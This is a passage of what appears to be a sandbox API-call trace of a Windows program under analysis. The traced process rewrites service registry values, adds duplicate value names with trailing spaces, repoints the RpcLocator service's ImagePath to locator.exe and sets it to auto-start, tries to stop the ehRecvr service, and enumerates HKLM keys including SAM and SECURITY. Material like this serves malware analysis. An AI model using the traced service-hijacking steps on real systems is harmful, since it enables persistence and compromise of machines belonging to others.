lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.628] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.628] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.628] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.628] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.628] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.628] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.628] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.628] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.628] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0250.628] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0250.628] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0250.629] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.629] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.629] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.629] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.629] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.629] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.629] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.629] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.629] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.629] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.629] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.629] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.629] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.630] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.630] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.630] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.630] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0250.630] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\locator.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\locator.exe" [0250.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0250.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0250.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0250.630] LocalFree (hMem=0x7e4b18) returned 0x0 [0250.630] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\locator.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\locator.exe") returned 0x0 [0250.630] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x2) returned 0x8038a0 [0250.631] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0250.633] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0250.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.633] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0250.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0250.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0250.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0250.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0250.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.634] RegCloseKey (hKey=0xc4) returned 0x0 [0250.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0250.634] RegCloseKey (hKey=0x14c) returned 0x0 [0250.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0250.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0250.634] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0250.634] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.634] GetLastError () returned 0x20 [0250.634] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0250.635] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0250.635] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0250.635] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x20) returned 0x803990 [0250.635] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0250.636] GetLastError () returned 0x425 [0250.636] CloseServiceHandle (hSCObject=0x803990) returned 1 [0250.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0250.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0250.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0250.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0250.636] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0250.636] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0250.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0250.636] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.636] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.636] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0250.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0250.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.637] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0250.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0250.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.637] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0250.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0250.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.637] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0250.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0250.637] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.637] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.638] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.638] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.638] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0250.638] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.638] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0250.638] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.638] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.638] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.638] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.638] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.638] RegCloseKey (hKey=0x80000002) returned 0x0 [0250.638] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0250.638] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.638] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0250.638] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.638] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.638] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.638] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.638] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0250.638] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.638] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0250.638] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.638] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.638] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.639] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0250.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0250.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.639] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0250.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0250.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.639] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0250.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0250.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) 